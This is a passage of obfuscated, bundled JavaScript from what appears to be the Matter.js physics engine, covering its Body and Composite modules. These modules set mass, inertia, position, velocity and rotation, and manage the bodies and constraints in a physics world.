_0x2ec3b4['fromVertices'](_0x51e319['vertices']), _0x51e319['area'] = _0x4059c9['area'](_0x51e319['vertices']), _0x508601['setMass'](_0x51e319, _0x51e319['density'] * _0x51e319['area']); var _0x5f062b = _0x4059c9['centre'](_0x51e319['vertices']); _0x4059c9['translate'](_0x51e319['vertices'], _0x5f062b, -0x1), _0x508601['setInertia'](_0x51e319, _0x508601['_inertiaScale'] * _0x4059c9['inertia'](_0x51e319['vertices'], _0x51e319['mass'])), _0x4059c9['translate'](_0x51e319['vertices'], _0x51e319['position']), _0x3e687a['update'](_0x51e319['bounds'], _0x51e319['vertices'], _0x51e319['velocity']); }, _0x508601['setParts'] = function (_0x3f509a, _0x261d3f, _0x29e201) { var _0x5ac835; for (_0x261d3f = _0x261d3f['slice'](0x0), _0x3f509a['parts']['length'] = 0x0, _0x3f509a['parts']['push'](_0x3f509a), _0x3f509a['parent'] = _0x3f509a, _0x5ac835 = 0x0; _0x5ac835 < _0x261d3f['length']; _0x5ac835++) { var _0x4c2e67 = _0x261d3f[_0x5ac835]; _0x4c2e67 !== _0x3f509a && (_0x4c2e67['parent'] = _0x3f509a, _0x3f509a['parts']['push'](_0x4c2e67)); } if (0x1 !== _0x3f509a['parts']['length']) { if (_0x29e201 = void 0x0 === _0x29e201 || _0x29e201) { var _0x1293a3 = []; for (_0x5ac835 = 0x0; _0x5ac835 < _0x261d3f['length']; _0x5ac835++)_0x1293a3 = _0x1293a3['concat'](_0x261d3f[_0x5ac835]['vertices']); _0x4059c9['clockwiseSort'](_0x1293a3); var _0x1d43d7 = _0x4059c9['hull'](_0x1293a3), _0x16c3b9 = _0x4059c9['centre'](_0x1d43d7); _0x508601['setVertices'](_0x3f509a, _0x1d43d7), _0x4059c9['translate'](_0x3f509a['vertices'], _0x16c3b9); } var _0x4dce77 = _0x508601['_totalProperties'](_0x3f509a), _0x28eb56 = _0x4dce77['centre']['x'], _0x4743df = _0x4dce77['centre']['y'], _0xd91b8d = _0x3f509a['bounds'], _0x1fc345 = _0x3f509a['centerOfMass'], _0x16205f = _0x3f509a['centerOffset']; _0x3e687a['update'](_0xd91b8d, _0x3f509a['vertices'], _0x3f509a['velocity']), _0x1fc345['x'] = -(_0xd91b8d['min']['x'] - _0x28eb56) / (_0xd91b8d['max']['x'] - _0xd91b8d['min']['x']), _0x1fc345['y'] = -(_0xd91b8d['min']['y'] - _0x4743df) / (_0xd91b8d['max']['y'] - _0xd91b8d['min']['y']), _0x16205f['x'] = _0x28eb56, _0x16205f['y'] = _0x4743df, _0x3f509a['area'] = _0x4dce77['area'], _0x3f509a['parent'] = _0x3f509a, _0x3f509a['position']['x'] = _0x28eb56, _0x3f509a['position']['y'] = _0x4743df, _0x3f509a['positionPrev']['x'] = _0x28eb56, _0x3f509a['positionPrev']['y'] = _0x4743df, _0x508601['setMass'](_0x3f509a, _0x4dce77['mass']), _0x508601['setInertia'](_0x3f509a, _0x4dce77['inertia']), _0x508601['setPosition'](_0x3f509a, _0x4dce77['centre']); } }, _0x508601['setCentre'] = function (_0x41269b, _0x58425e, _0x314d31) { _0x314d31 ? (_0x41269b['positionPrev']['x'] += _0x58425e['x'], _0x41269b['positionPrev']['y'] += _0x58425e['y'], _0x41269b['position']['x'] += _0x58425e['x'], _0x41269b['position']['y'] += _0x58425e['y']) : (_0x41269b['positionPrev']['x'] = _0x58425e['x'] - (_0x41269b['position']['x'] - _0x41269b['positionPrev']['x']), _0x41269b['positionPrev']['y'] = _0x58425e['y'] - (_0x41269b['position']['y'] - _0x41269b['positionPrev']['y']), _0x41269b['position']['x'] = _0x58425e['x'], _0x41269b['position']['y'] = _0x58425e['y']); }, _0x508601['setPosition'] = function (_0x16f306, _0xf87238, _0x5bbbd8) { var _0x5048cf = _0x5f0522['sub'](_0xf87238, _0x16f306['position']); _0x5bbbd8 ? (_0x16f306['positionPrev']['x'] = _0x16f306['position']['x'], _0x16f306['positionPrev']['y'] = _0x16f306['position']['y'], _0x16f306['velocity']['x'] = _0x5048cf['x'], _0x16f306['velocity']['y'] = _0x5048cf['y'], _0x16f306['speed'] = _0x5f0522['magnitude'](_0x5048cf)) : (_0x16f306['positionPrev']['x'] += _0x5048cf['x'], _0x16f306['positionPrev']['y'] += _0x5048cf['y']); for (var _0x46b9c5 = 0x0; _0x46b9c5 < _0x16f306['parts']['length']; _0x46b9c5++) { var _0x1d3e63 = _0x16f306['parts'][_0x46b9c5]; _0x1d3e63['position']['x'] += _0x5048cf['x'], _0x1d3e63['position']['y'] += _0x5048cf['y'], _0x4059c9['translate'](_0x1d3e63['vertices'], _0x5048cf), _0x3e687a['update'](_0x1d3e63['bounds'], _0x1d3e63['vertices'], _0x16f306['velocity']); } }, _0x508601['setAngle'] = function (_0x4481ca, _0x1180ef, _0x103293) { var _0x54cb30 = _0x1180ef - _0x4481ca['angle']; _0x103293 ? (_0x4481ca['anglePrev'] = _0x4481ca['angle'], _0x4481ca['angularVelocity'] = _0x54cb30, _0x4481ca['angularSpeed'] = Math['abs'](_0x54cb30)) : _0x4481ca['anglePrev'] += _0x54cb30; for (var _0x230949 = 0x0; _0x230949 < _0x4481ca['parts']['length']; _0x230949++) { var _0x8672b0 = _0x4481ca['parts'][_0x230949]; _0x8672b0['angle'] += _0x54cb30, _0x4059c9['rotate'](_0x8672b0['vertices'], _0x54cb30, _0x4481ca['position']), _0x2ec3b4['rotate'](_0x8672b0['axes'], _0x54cb30), _0x3e687a['update'](_0x8672b0['bounds'], _0x8672b0['vertices'], _0x4481ca['velocity']), _0x230949 > 0x0 && _0x5f0522['rotateAbout'](_0x8672b0['position'], _0x54cb30, _0x4481ca['position'], _0x8672b0['position']); } }, _0x508601['setVelocity'] = function (_0x3a2f29, _0x8586ab) { var _0x2242ac = _0x3a2f29['deltaTime'] / _0x508601['_baseDelta']; _0x3a2f29['positionPrev']['x'] = _0x3a2f29['position']['x'] - _0x8586ab['x'] * _0x2242ac, _0x3a2f29['positionPrev']['y'] = _0x3a2f29['position']['y'] - _0x8586ab['y'] * _0x2242ac, _0x3a2f29['velocity']['x'] = (_0x3a2f29['position']['x'] - _0x3a2f29['positionPrev']['x']) / _0x2242ac, _0x3a2f29['velocity']['y'] = (_0x3a2f29['position']['y'] - _0x3a2f29['positionPrev']['y']) / _0x2242ac, _0x3a2f29['speed'] = _0x5f0522['magnitude'](_0x3a2f29['velocity']); }, _0x508601['getVelocity'] = function (_0x540df1) { var _0x5cbd01 = _0x508601['_baseDelta'] / _0x540df1['deltaTime']; return { 'x': (_0x540df1['position']['x'] - _0x540df1['positionPrev']['x']) * _0x5cbd01, 'y': (_0x540df1['position']['y'] - _0x540df1['positionPrev']['y']) * _0x5cbd01 }; }, _0x508601['getSpeed'] = function (_0x32a363) { return _0x5f0522['magnitude'](_0x508601['getVelocity'](_0x32a363)); }, _0x508601['setSpeed'] = function (_0x42e95e, _0x4b3e0f) { _0x508601['setVelocity'](_0x42e95e, _0x5f0522['mult'](_0x5f0522['normalise'](_0x508601['getVelocity'](_0x42e95e)), _0x4b3e0f)); }, _0x508601['setAngularVelocity'] = function (_0x19e069, _0x4dca5e) { var _0x26eb14 = _0x19e069['deltaTime'] / _0x508601['_baseDelta']; _0x19e069['anglePrev'] = _0x19e069['angle'] - _0x4dca5e * _0x26eb14, _0x19e069['angularVelocity'] = (_0x19e069['angle'] - _0x19e069['anglePrev']) / _0x26eb14, _0x19e069['angularSpeed'] = Math['abs'](_0x19e069['angularVelocity']); }, _0x508601['getAngularVelocity'] = function (_0x389e5a) { return (_0x389e5a['angle'] - _0x389e5a['anglePrev']) * _0x508601['_baseDelta'] / _0x389e5a['deltaTime']; }, _0x508601['getAngularSpeed'] = function (_0x5350c9) { return Math['abs'](_0x508601['getAngularVelocity'](_0x5350c9)); }, _0x508601['setAngularSpeed'] = function (_0x24d317, _0x381bf5) { _0x508601['setAngularVelocity'](_0x24d317, _0x5d65f0['sign'](_0x508601['getAngularVelocity'](_0x24d317)) * _0x381bf5); }, _0x508601['translate'] = function (_0x392696, _0x45b3e2, _0x456b01) { _0x508601['setPosition'](_0x392696, _0x5f0522['add'](_0x392696['position'], _0x45b3e2), _0x456b01); }, _0x508601['rotate'] = function (_0x280f9c, _0x4c6bde, _0x3a975d, _0x1da726) { if (_0x3a975d) { var _0x5ccddd = Math['cos'](_0x4c6bde), _0x31a308 = Math['sin'](_0x4c6bde), _0xd3e4b4 = _0x280f9c['position']['x'] - _0x3a975d['x'], _0xfcb1db = _0x280f9c['position']['y'] - _0x3a975d['y']; _0x508601['setPosition'](_0x280f9c, { 'x': _0x3a975d['x'] + (_0xd3e4b4 * _0x5ccddd - _0xfcb1db * _0x31a308), 'y': _0x3a975d['y'] + (_0xd3e4b4 * _0x31a308 + _0xfcb1db * _0x5ccddd) }, _0x1da726), _0x508601['setAngle'](_0x280f9c, _0x280f9c['angle'] + _0x4c6bde, _0x1da726); } else _0x508601['setAngle'](_0x280f9c, _0x280f9c['angle'] + _0x4c6bde, _0x1da726); }, _0x508601['scale'] = function (_0x4dc4be, _0x38a909, _0x8483da, _0x20aab2) { var _0x23a524 = 0x0, _0x388462 = 0x0; _0x20aab2 = _0x20aab2 || _0x4dc4be['position']; for (var _0x114e11 = _0x4dc4be['inertia'] === 0x1 / 0x0, _0x37d944 = 0x0; _0x37d944 < _0x4dc4be['parts']['length']; _0x37d944++) { var _0x3b5848 = _0x4dc4be['parts'][_0x37d944]; _0x3b5848['scale']['x'] = _0x38a909, _0x3b5848['scale']['y'] = _0x8483da, _0x4059c9['scale'](_0x3b5848['vertices'], _0x38a909, _0x8483da, _0x20aab2), _0x3b5848['axes'] = _0x2ec3b4['fromVertices'](_0x3b5848['vertices']), _0x3b5848['area'] = _0x4059c9['area'](_0x3b5848['vertices']), _0x508601['setMass'](_0x3b5848, _0x4dc4be['density'] * _0x3b5848['area']), _0x4059c9['translate'](_0x3b5848['vertices'], { 'x': -_0x3b5848['position']['x'], 'y': -_0x3b5848['position']['y'] }), _0x508601['setInertia'](_0x3b5848, _0x508601['_inertiaScale'] * _0x4059c9['inertia'](_0x3b5848['vertices'], _0x3b5848['mass'])), _0x4059c9['translate'](_0x3b5848['vertices'], { 'x': _0x3b5848['position']['x'], 'y': _0x3b5848['position']['y'] }), _0x37d944 > 0x0 && (_0x23a524 += _0x3b5848['area'], _0x388462 += _0x3b5848['inertia']), _0x3b5848['position']['x'] = _0x20aab2['x'] + (_0x3b5848['position']['x'] - _0x20aab2['x']) * _0x38a909, _0x3b5848['position']['y'] = _0x20aab2['y'] + (_0x3b5848['position']['y'] - _0x20aab2['y']) * _0x8483da, _0x3e687a['update'](_0x3b5848['bounds'], _0x3b5848['vertices'], _0x4dc4be['velocity']); } _0x4dc4be['parts']['length'] > 0x1 && (_0x4dc4be['area'] = _0x23a524, _0x4dc4be['isStatic'] || (_0x508601['setMass'](_0x4dc4be, _0x4dc4be['density'] * _0x23a524), _0x508601['setInertia'](_0x4dc4be, _0x388462))), _0x4dc4be['circleRadius'] && (_0x38a909 === _0x8483da ? _0x4dc4be['circleRadius'] *= _0x38a909 : _0x4dc4be['circleRadius'] = null), _0x114e11 && _0x508601['setInertia'](_0x4dc4be, 0x1 / 0x0); }, _0x508601['update'] = function (_0x28144e, _0x31c91a) { var _0x57b631 = (_0x31c91a = (void 0x0 !== _0x31c91a ? _0x31c91a : 0x3e8 / 0x3c) * _0x28144e['timeScale']) * _0x31c91a, _0x2a99b7 = _0x508601['_timeCorrection'] ? _0x31c91a / (_0x28144e['deltaTime'] || _0x31c91a) : 0x1, _0x3d77e3 = 0x1 - _0x28144e['frictionAir'] * (_0x31c91a / _0x5d65f0['_baseDelta']), _0x1b6958 = (_0x28144e['position']['x'] - _0x28144e['positionPrev']['x']) * _0x2a99b7, _0x1f380a = (_0x28144e['position']['y'] - _0x28144e['positionPrev']['y']) * _0x2a99b7; _0x28144e['velocity']['x'] = _0x1b6958 * _0x3d77e3 + _0x28144e['force']['x'] / _0x28144e['mass'] * _0x57b631, _0x28144e['velocity']['y'] = _0x1f380a * _0x3d77e3 + _0x28144e['force']['y'] / _0x28144e['mass'] * _0x57b631, _0x28144e['positionPrev']['x'] = _0x28144e['position']['x'], _0x28144e['positionPrev']['y'] = _0x28144e['position']['y'], _0x28144e['position']['x'] += _0x28144e['velocity']['x'], _0x28144e['position']['y'] += _0x28144e['velocity']['y'], _0x28144e['deltaTime'] = _0x31c91a, _0x28144e['angularVelocity'] = (_0x28144e['angle'] - _0x28144e['anglePrev']) * _0x3d77e3 * _0x2a99b7 + _0x28144e['torque'] / _0x28144e['inertia'] * _0x57b631, _0x28144e['anglePrev'] = _0x28144e['angle'], _0x28144e['angle'] += _0x28144e['angularVelocity'], _0x28144e['speed'] = _0x5f0522['magnitude'](_0x28144e['velocity']), _0x28144e['angularSpeed'] = Math['abs'](_0x28144e['angularVelocity']); for (var _0x103fd4 = 0x0; _0x103fd4 < _0x28144e['parts']['length']; _0x103fd4++) { var _0x32a68c = _0x28144e['parts'][_0x103fd4]; _0x4059c9['translate'](_0x32a68c['vertices'], _0x28144e['velocity']), _0x103fd4 > 0x0 && (_0x32a68c['position']['x'] += _0x28144e['velocity']['x'], _0x32a68c['position']['y'] += _0x28144e['velocity']['y']), 0x0 !== _0x28144e['angularVelocity'] && (_0x4059c9['rotate'](_0x32a68c['vertices'], _0x28144e['angularVelocity'], _0x28144e['position']), _0x2ec3b4['rotate'](_0x32a68c['axes'], _0x28144e['angularVelocity']), _0x103fd4 > 0x0 && _0x5f0522['rotateAbout'](_0x32a68c['position'], _0x28144e['angularVelocity'], _0x28144e['position'], _0x32a68c['position'])), _0x3e687a['update'](_0x32a68c['bounds'], _0x32a68c['vertices'], _0x28144e['velocity']); } }, _0x508601['updateVelocities'] = function (_0x503109) { var _0x3dbe1a = _0x508601['_baseDelta'] / _0x503109['deltaTime'], _0x3f5c30 = _0x503109['velocity']; _0x3f5c30['x'] = (_0x503109['position']['x'] - _0x503109['positionPrev']['x']) * _0x3dbe1a, _0x3f5c30['y'] = (_0x503109['position']['y'] - _0x503109['positionPrev']['y']) * _0x3dbe1a, _0x503109['speed'] = Math['sqrt'](_0x3f5c30['x'] * _0x3f5c30['x'] + _0x3f5c30['y'] * _0x3f5c30['y']), _0x503109['angularVelocity'] = (_0x503109['angle'] - _0x503109['anglePrev']) * _0x3dbe1a, _0x503109['angularSpeed'] = Math['abs'](_0x503109['angularVelocity']); }, _0x508601['applyForce'] = function (_0x4d15c5, _0x3430b1, _0x28fe02) { var _0x1c5d49 = _0x3430b1['x'] - _0x4d15c5['position']['x'], _0x2283aa = _0x3430b1['y'] - _0x4d15c5['position']['y']; _0x4d15c5['force']['x'] += _0x28fe02['x'], _0x4d15c5['force']['y'] += _0x28fe02['y'], _0x4d15c5['torque'] += _0x1c5d49 * _0x28fe02['y'] - _0x2283aa * _0x28fe02['x']; }, _0x508601['_totalProperties'] = function (_0x2f882f) { for (var _0x3cbd9c = { 'mass': 0x0, 'area': 0x0, 'inertia': 0x0, 'centre': { 'x': 0x0, 'y': 0x0 } }, _0xf4a137 = 0x1 === _0x2f882f['parts']['length'] ? 0x0 : 0x1; _0xf4a137 < _0x2f882f['parts']['length']; _0xf4a137++) { var _0x2af3b2 = _0x2f882f['parts'][_0xf4a137], _0x494e76 = _0x2af3b2['mass'] !== 0x1 / 0x0 ? _0x2af3b2['mass'] : 0x1; _0x3cbd9c['mass'] += _0x494e76, _0x3cbd9c['area'] += _0x2af3b2['area'], _0x3cbd9c['inertia'] += _0x2af3b2['inertia'], _0x3cbd9c['centre'] = _0x5f0522['add'](_0x3cbd9c['centre'], _0x5f0522['mult'](_0x2af3b2['position'], _0x494e76)); } return _0x3cbd9c['centre'] = _0x5f0522['div'](_0x3cbd9c['centre'], _0x3cbd9c['mass']), _0x3cbd9c; }, _0x508601['wrap'] = function (_0x44ae92, _0x5215d6) { var _0xa15bca = _0x3e687a['wrap'](_0x44ae92['bounds'], _0x5215d6); return _0xa15bca && _0x508601['translate'](_0x44ae92, _0xa15bca), _0xa15bca; }; }()); }, 0x10ee7: (_0x49789d, _0x2fa6d1, _0x425ca3) => { var _0x4e5b5e = {}; _0x49789d['exports'] = _0x4e5b5e; var _0x61e3a7 = _0x425ca3(0x8be2), _0x179e0b = _0x425ca3(0xd09a), _0x1ff210 = _0x425ca3(0x3d1f), _0x4d353f = _0x425ca3(0x5822); _0x4e5b5e['create'] = function (_0xa639cc) { return _0x179e0b['extend']({ 'id': _0x179e0b['nextId'](), 'type': 'composite', 'parent': null, 'isModified': !0x1, 'bodies': [], 'constraints': [], 'composites': [], 'label': 'Composite', 'plugin': {}, 'wrapBounds': null, 'cache': { 'allBodies': null, 'allConstraints': null, 'allComposites': null } }, _0xa639cc); }, _0x4e5b5e['setModified'] = function (_0x57918b, _0x1984c4, _0x1b24e1, _0x5cf0af) { if (_0x61e3a7['trigger'](_0x57918b, 'compositeModified', _0x57918b), _0x57918b['isModified'] = _0x1984c4, _0x1984c4 && _0x57918b['cache'] && (_0x57918b['cache']['allBodies'] = null, _0x57918b['cache']['allConstraints'] = null, _0x57918b['cache']['allComposites'] = null), _0x1b24e1 && _0x57918b['parent'] && _0x4e5b5e['setModified'](_0x57918b['parent'], _0x1984c4, _0x1b24e1, _0x5cf0af), _0x5cf0af) for (var _0x2954c9 = 0x0; _0x2954c9 < _0x57918b['composites']['length']; _0x2954c9++) { var _0x56cc7e = _0x57918b['composites'][_0x2954c9]; _0x4e5b5e['setModified'](_0x56cc7e, _0x1984c4, _0x1b24e1, _0x5cf0af); } }, _0x4e5b5e['add'] = function (_0x1a2c5f, _0x372edf) { var _0x2b79fc = []['concat'](_0x372edf); _0x61e3a7['trigger'](_0x1a2c5f, 'beforeAdd', { 'object': _0x372edf }); for (var _0x1a24de = 0x0; _0x1a24de < _0x2b79fc['length']; _0x1a24de++) { var _0xe9d340 = _0x2b79fc[_0x1a24de]; switch (_0xe9d340['type']) { case 'body': if (_0xe9d340['parent'] !== _0xe9d340) { _0x179e0b['warn']('Composite.add:\x20skipped\x20adding\x20a\x20compound\x20body\x20part\x20(you\x20must\x20add\x20its\x20parent\x20instead)'); break; } _0x4e5b5e['addBody'](_0x1a2c5f, _0xe9d340); break; case 'constraint': _0x4e5b5e['addConstraint'](_0x1a2c5f, _0xe9d340); break; case 'composite': _0x4e5b5e['addComposite'](_0x1a2c5f, _0xe9d340); break; case 'mouseConstraint': _0x4e5b5e['addConstraint'](_0x1a2c5f, _0xe9d340['constraint']); } } return _0x61e3a7['trigger'](_0x1a2c5f, 'afterAdd', { 'object': _0x372edf }), _0x1a2c5f; }, _0x4e5b5e['remove'] = function (_0x250536, _0x29f76c, _0x472b3e) { var _0x4389af = []['concat'](_0x29f76c); _0x61e3a7['trigger'](_0x250536, 'beforeRemove', { 'object': _0x29f76c }); for (var _0x3a7944 = 0x0; _0x3a7944 < _0x4389af['length']; _0x3a7944++) { var _0x22c354 = _0x4389af[_0x3a7944]; switch (_0x22c354['type']) { case 'body': _0x4e5b5e['removeBody'](_0x250536, _0x22c354, _0x472b3e); break; case 'constraint': _0x4e5b5e['removeConstraint'](_0x250536, _0x22c354, _0x472b3e); break; case 'composite': _0x4e5b5e['removeComposite'](_0x250536, _0x22c354, _0x472b3e); break; case 'mouseConstraint': _0x4e5b5e['removeConstraint'](_0x250536, _0x22c354['constraint']); } } return _0x61e3a7['trigger'](_0x250536, 'afterRemove', { 'object': _0x29f76c }), _0x250536; }, _0x4e5b5e['addComposite'] = function (_0x2773bc, _0x46c214) { return _0x2773bc['composites']['push'](_0x46c214), _0x46c214['parent'] = _0x2773bc, _0x4e5b5e['setModified'](_0x2773bc, !0x0, !0x0, !0x1), _0x2773bc; }, _0x4e5b5e['removeComposite'] = function (_0x394190, _0x16944c, _0x4c8733) { var _0x838d98 = _0x179e0b['indexOf'](_0x394190['composites'], _0x16944c); if (-0x1 !== _0x838d98) { var _0x2e71ce = _0x4e5b5e['allBodies'](_0x16944c); _0x4e5b5e['removeCompositeAt'](_0x394190, _0x838d98); for (var _0x3074d0 = 0x0; _0x3074d0 < _0x2e71ce['length']; _0x3074d0++)_0x2e71ce[_0x3074d0]['sleepCounter'] = 0x0; } if (_0x4c8733) { for (_0x3074d0 = 0x0; _0x3074d0 < _0x394190['composites']['length']; _0x3074d0++)_0x4e5b5e['removeComposite'](_0x394190['composites'][_0x3074d0], _0x16944c, !0x0); } return _0x394190; }, _0x4e5b5e['removeCompositeAt'] = function (_0x426a5c, _0x11f65c) { return _0x426a5c['composites']['splice'](_0x11f65c, 0x1), _0x4e5b5e['setModified'](_0x426a5c, !0x0, !0x0, !0x1), _0x426a5c; }, _0x4e5b5e['addBody'] = function (_0x3473bc, _0x3f3b90) { return _0x3473bc['bodies']['push'](_0x3f3b90), _0x4e5b5e['setModified'](_0x3473bc, !0x0, !0x0, !0x1), _0x3473bc; }, _0x4e5b5e['removeBody'] = function (_0x1244c3, _0x34c2cc, _0x5efb10) { var _0x3ba5fb = _0x179e0b['indexOf'](_0x1244c3['bodies'], _0x34c2cc); if (-0x1 !== _0x3ba5fb && (_0x4e5b5e['removeBodyAt'](_0x1244c3, _0x3ba5fb), _0x34c2cc['sleepCounter'] = 0x0), _0x5efb10) { for (var _0x57225d = 0x0; _0x57225d < _0x1244c3['composites']['length']; _0x57225d++)_0x4e5b5e['removeBody'](_0x1244c3['composites'][_0x57225d], _0x34c2cc, !0x0); } return _0x1244c3; }, _0x4e5b5e['removeBodyAt'] = function (_0x50ff4a, _0x46c19d) { return _0x50ff4a['bodies']['splice'](_0x46c19d, 0x1), _0x4e5b5e['setModified'](_0x50ff4a, !0x0, !0x0, !0x1), _0x50ff4a; }, _0x4e5b5e['addConstraint'] = function (_0x3a4223, _0xb39186) { return _0x3a4223['constraints']['push'](_0xb39186), _0x4e5b5e['setModified'](_0x3a4223, !0x0, !0x0, !0x1), _0x3a4223; }, _0x4e5b5e['removeConstraint'] = function (_0x3400b9, _0x4916d8, _0xad9d4d) { var _0x1142e6 = _0x179e0b['indexOf'](_0x3400b9['constraints'], _0x4916d8); if (-0x1 !== _0x1142e6 && _0x4e5b5e['removeConstraintAt'](_0x3400b9, _0x1142e6), _0xad9d4d) { for (var _0x4dc9a0 = 0x0; _0x4dc9a0 < _0x3400b9['composites']['length']; _0x4dc9a0++)_0x4e5b5e['removeConstraint'](_0x3400b9['composites'][_0x4dc9a0], _0x4916d8, !0x0); } return _0x3400b9; }, _0x4e5b5e['removeConstraintAt'] = function (_0x4ab1ee, _0x1c9b12) { return _0x4ab1ee['constraints']['splice'](_0x1c9b12, 0x1), _0x4e5b5e['setModified'](_0x4ab1ee, !0x0, !0x0, !0x1), _0x4ab1ee; }, _0x4e5b5e['clear'] = function (_0x9e1700, _0x83b64c, _0x216d5c) { if (_0x216d5c) { for (var _0xd637d8 = 0x0; _0xd637d8 < _0x9e1700['composites']['length']; _0xd637d8++)_0x4e5b5e['clear'](_0x9e1700['composites'][_0xd637d8], _0x83b64c, !0x0); } return _0x83b64c ? _0x9e1700['bodies'] = _0x9e1700['bodies']['filter'](function (_0xffe630) { return _0xffe630['isStatic']; }) : _0x9e1700['bodies']['length'] = 0x0, _0x9e1700['constraints']['length'] = 0x0, _0x9e1700['composites']['length'] = 0x0, _0x4e5b5e['setModified'](_0x9e1700, !0x0, !0x0, !0x1), _0x9e1700; }, _0x4e5b5e['allBodies'] = function (_0xd71b32) { if (_0xd71b32['cache'] && _0xd71b32['cache']['allBodies']) return _0xd71b32['cache']['allBodies']; for (var _0x226a32 = []['concat'](_0xd71b32['bodies']), _0x5ef06d = 0x0; _0x5ef06d < _0xd71b32['composites']['length']; _0x5ef06d++)_0x226a32 = _0x226a32['concat'](_0x4e5b5e['allBodies'](_0xd71b32['composites'][_0x5ef06d])); return _0xd71b32['cache'] && (_0xd71b32['cache']['allBodies'] = _0x226a32), _0x226a32; }, _0x4e5b5e['allConstraints'] = function (_0x2265d8) { if (_0x2265d8['cache'] && _0x2265d8['cache']['allConstraints']) return _0x2265d8['cache']['allConstraints']; for (var _0xb5950d = []['concat'](_0x2265d8['constraints']), _0xb456fa = 0x0; _0xb456fa < _0x2265d8['composites']['length']; _0xb456fa++)_0xb5950d = _0xb5950d['concat'](_0x4e5b5e['allConstraints'](_0x2265d8['composites'][_0xb456fa])); return _0x2265d8['cache'] && (_0x2265d8['cache']['allConstraints'] = _0xb5950d), _0xb5950d; }, _0x4e5b5e['allComposites'] = function (_0x115ce9) { if (_0x115ce9['cache'] && _0x115ce9['cache']['allComposites']) return _0x115ce9['cache']['allComposites']; for (var _0x1bb068 = []['concat'](_0x115ce9['composites']), _0xc655db = 0x0; _0xc655db < _0x115ce9['composites']['length']; _0xc655db++)_0x1bb068 = _0x1bb068['concat'](_0x4e5b5e['allComposites'](_0x115ce9['composites'][_0xc655db])); return _0x115ce9['cache'] && (_0x115ce9['cache']['allComposites'] = _0x1bb068), _0x1bb068; }, _0x4e5b5e['get'] = function (_0x1e8164, _0x4aa5f0, _0x2f7687) { var _0x1feb7a, _0x2e8c42; switch (_0x2f7687) { case 'body': _0x1feb7a = _0x4e5b5e['allBodies'](_0x1e8164); break; case 'constraint': _0x1feb7a = _0x4e5b5e['allConstraints'](_0x1e8164); break; case 'composite': _0x1feb7a = _0x4e5b5e['allComposites'](_0x1e8164)['concat'](_0x1e8164); }return _0x1feb7a ? 0x0 === (_0x2e8c42 = _0x1feb7a['filter'](function (_0x5b7ef6) { return _0x5b7ef6['id']['toString']() === _0x4aa5f0['toString'](); }))['length'] ? null : _0x2e8c42[0x0] : null; }, _0x4e5b5e['move'] = function (_0x4f7478, _0x21fc41, _0xf2cf8e) { return _0x4e5b5e['remove'](_0x4f7478, _0x21fc41), _0x4e5b5e['add'](_0xf2cf8e, _0x21fc41), _0x4f7478; }, _0x4e5b5e['rebase'] = function (_0x425abb) { for (var _0x4e3464 = _0x4e5b5e['allBodies'](_0x425abb)['concat'](_0x4e5b5e['allConstraints'](_0x425abb))['concat'](_0x4e5b5e['allComposites'](_0x425abb)), _0x1258f0 = 0x0; _0x1258f0 < _0x4e3464['length']; _0x1258f0++)_0x4e3464[_0x1258f0]['id'] = _0x179e0b['nextId'](); return _0x425abb; }, _0x4e5b5e['translate'] = function (_0x5e3ad5, _0x50ac96, _0x4f9b0e) { for (var _0x29c796 = _0x4f9b0e ? _0x4e5b5e['allBodies'](_0x5e3ad5) : _0x5e3ad5['bodies'], _0x9ad146 = 0x0; _0x9ad146 < _0x29c796['length']; _0x9ad146++)_0x4d353f['translate'](_0x29c796[_0x9ad146], _0x50ac96); return _0x5e3ad5; }, _0x4e5b5e['rotate'] = function (_0x1b5028, _0x289b68, _0x4a7373, _0x3099b2) { for (var _0x3d1f02 = Math['cos'](_0x289b68), _0x350dad = Math['sin'](_0x289b68), _0x1e9257 = _0x3099b2 ? _0x4e5b5e['allBodies'](_0x1b5028) : _0x1b5028['bodies'], _0xd463ff = 0x0; _0xd463ff < _0x1e9257['length']; _0xd463ff++) { var _0xffad5b = _0x1e9257[_0xd463ff], _0x11bf80 = _0xffad5b['position']['x'] - _0x4a7373['x'], _0x8e0ac = _0xffad5b['position']['y'] - _0x4a7373['y']; _0x4d353f['setPosition'](_0xffad5b, { 'x': _0x4a7373['x'] + (_0x11bf80 * _0x3d1f02 - _0x8e0ac * _0x350dad), 'y': _0x4a7373['y'] + (_0x11bf80 * _0x350dad + _0x8e0ac * _0x3d1f02) }), _0x4d353f['rotate'](_0xffad5b, _0x289b68); } return _0x1b5028; }, _0x4e5b5e['scale'] = function (_0x53ee12, _0x52a1c5, _0x5cbc63, _0x57b646, _0x19b1a3) { for (var _0x5859cd = _0x19b1a3 ? _0x4e5b5e['allBodies'](_0x53ee12) : _0x53ee12['bodies'], _0x4060a4 = 0x0; _0x4060a4 < _0x5859cd['length']; _0x4060a4++) { var _0x51d84d = _0x5859cd[_0x4060a4], _0x3cf494 = _0x51d84d['position']['x'] - _0x57b646['x'], _0x40f10b = _0x51d84d['position']['y'] - _0x57b646['y']; _0x4d353f['setPosition'](_0x51d84d, { 'x': _0x57b646['x'] + _0x3cf494 * _0x52a1c5, 'y': _0x57b646['y'] + _0x40f10b * _0x5cbc63 }), _0x4d353f['scale'](_0x51d84d, _0x52a1c5, _0x5cbc63); } return _0x53ee12; }, _0x4e5b5e['bounds'] = function (_0x1c2440) { for (var _0x356a29 = _0x4e5b5e['allBodies'](_0x1c2440), _0xf0e00b = [], _0x43917a = 0x0; _0x43917a < _0x356a29['length']; _0x43917a += 0x1) { var _0x184d57 = _0x356a29[_0x43917a]; _0xf0e00b['push'](_0x184d57['bounds']['min'], _0x184d57['bounds']['max']); } return _0x1ff210['create'](_0xf0e00b); }, _0x4e5b5e['wrap'] = function (_0x5df41f, _0x1fc562) { var _0x2660e0 = _0x1ff210['wrap'](_0x4e5b5e['bounds'](_0x5df41f), _0x1fc562); return _0x2660e0 && _0x4e5b5e['translate'](_0x5df41f, _0x2660e0), _0x2660e0; }; }, 0x1114: (_0x58b173, _0x32264a, _0x2f7d48) => { var _0xeff03c = {}; _0x58b173['exports'] = _0xeff03c; var _0x131d8a = _0x2f7d48(0x10ee7); _0xeff03c['create'] = _0x131d8a['create'], _0xeff03c['add'] = _0x131d8a['add'], _0xeff03c['remove'] = _0x131d8a['remove'], _0xeff03c['clear'] = _0x131d8a['clear'], _0xeff03c['addComposite'] = _0x131d8a['addComposite'], _0xeff03c['addBody'] = _0x131d8a['addBody'], _0xeff03c['addConstraint'] = _0x131d8a['addConstraint']; }, 0xcc3c: (_0x1a4e07, _0x132a2d, _0x4f3463) => { var _0x200c2d = {}; _0x1a4e07['exports'] = _0x200c2d; var _0x6d9ce0, 